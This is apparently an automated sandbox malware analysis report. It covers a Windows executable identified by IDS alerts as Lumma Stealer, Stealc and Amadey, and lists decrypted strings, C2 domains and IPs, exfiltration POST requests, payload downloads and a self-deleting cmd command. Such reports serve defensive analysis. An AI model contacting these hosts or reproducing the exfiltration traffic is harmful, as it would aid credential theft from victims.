Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: https
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: POST
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: HTTP/1.1
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: hwid
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: build
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: token
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: file_name
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: file
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: message
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: screenshot.jpg

Source: mDuCbT8LnH.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49725 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49764 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49885 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49706 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49711 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49725 -> 104.21.11.101:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 14:01:04 GMTContent-Type: application/octet-streamContent-Length: 5104640Last-Modified: Fri, 27 Dec 2024 13:02:38 GMTConnection: keep-aliveETag: "676ea56e-4de400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 f0 4d 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 4e 00 00 04 00 00 1f d6 4e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 90 24 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 a0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 a2 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 76 64 64 75 68 72 72 00 20 29 00 00 c0 24 00 00 18 29 00 00 a4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 63 67 79 65 76 79 00 10 00 00 00 e0 4d 00 00 06 00 00 00 bc 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4d 00 00 22 00 00 00 c2 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 14:01:13 GMTContent-Type: application/octet-streamContent-Length: 3209216Last-Modified: Fri, 27 Dec 2024 13:02:46 GMTConnection: keep-aliveETag: "676ea576-30f800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 31 00 00 04 00 00 aa b7 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e9 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e8 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 73 79 6e 6e 66 6f 72 00 40 2a 00 00 b0 06 00 00 3a 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 66 63 78 64 62 70 77 00 10 00 00 00 f0 30 00 00 04 00 00 00 d2 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 31 00 00 22 00 00 00 d6 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHCHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 39 46 44 42 43 45 32 36 38 39 35 31 34 37 30 31 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="hwid"969FDBCE2689514701825------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="build"stok------DGHCBAAEHCFIDGDHJEHC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49725 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.11.101:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IO77JPPZ1KXLZUSRIK7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12841Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9U0I26LFBFITWTQ40User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15071Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W3WH477UU4A4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20531Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FJ9W5B5QSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1213Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6C706J5SV92I5V8SWXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 550931Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
